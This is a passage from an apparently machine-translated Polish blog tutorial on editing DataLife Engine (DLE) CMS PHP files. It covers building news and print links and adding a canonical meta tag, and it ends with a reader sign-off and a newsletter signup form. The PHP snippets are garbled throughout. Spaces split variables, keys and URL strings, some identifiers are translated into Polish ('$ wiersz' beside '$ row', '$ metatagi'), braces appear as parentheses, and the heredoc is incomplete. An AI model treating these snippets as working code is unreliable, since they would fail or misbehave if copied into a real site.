) else ($ full_link = $ config ["http_home_url"]. "index.php? newsid =". $ row ["id"]; $ print_link = $ config ["http_home_url"]. "engine/print.php? newsid = ". $ wiersz [" id "]; $ short_link =" ";)

) else ($ full_link = $ config ["http_home_url"]. "index.php? newsid =". $ row ["id"]; $ print_link = $ config ["http_home_url"]. "engine/print.php? newsid = ". $ wiersz [" id "]; $ short_link =" ";)

dla wersji DLE 10.x (a także dla wersji 9.5, 9.6, 9.7 i 9.8) znajdujemy:

) else ($ full_link = $ config ["http_home_url"]. "index.php? newsid =". $ row ["id"]; $ print_link = $ config ["http_home_url"]. "engine/print.php? newsid = ". $ wiersz [" id "]; $ short_link =" "; $ link_page =" "; $ news_name =" ";)

) else ($ full_link = $ config ["http_home_url"]. "index.php? newsid =". $ row ["id"]; $ print_link = $ config ["http_home_url"]. "engine/print.php? newsid = ". $ wiersz [" id "]; $ short_link =" "; $ link_page =" "; $ news_name =" ";)

PONIŻEJ Dodaj)

if ($ full_canonical) ($ metatagi. =<<HTML;)

Jakby to było wszystko ;) Kto tego potrzebuje, użyj go dla zdrowia.

Coś, o czym chyba zapomniałam w tym poście opisać, skoro opisywane tu informacje długo zbierałam w mojej głowie, a nie zapisywałam w zeszycie. Ale jeśli coś pamiętasz lub znajdziesz nietypowe błędy na swojej stronie - koniecznie napisz w komentarzach, wymyślę rozwiązanie Twojego problemu i dodam je do posta.

Dziękujemy za uwagę, przyjaciele, pozostań w kontakcie i zasubskrybuj aktualności na blogu.

PS Nie jestem pewien, czy będzie następna część poradnika, bo w tej chwili nie ma w niej nic do pisania, wszystko, co mogłoby się przydać, jest już opisane w istniejących trzech częściach. Ale nigdy nie wiadomo... Wszystko zależy od Ciebie oraz Twoich pytań i sugestii!

DZWON

Są tacy, którzy czytają tę wiadomość przed tobą.
Zapisz się, aby otrzymywać najnowsze artykuły.
E-mail
Nazwa
Nazwisko
Jak chcesz czytać Dzwon?
Bez spamu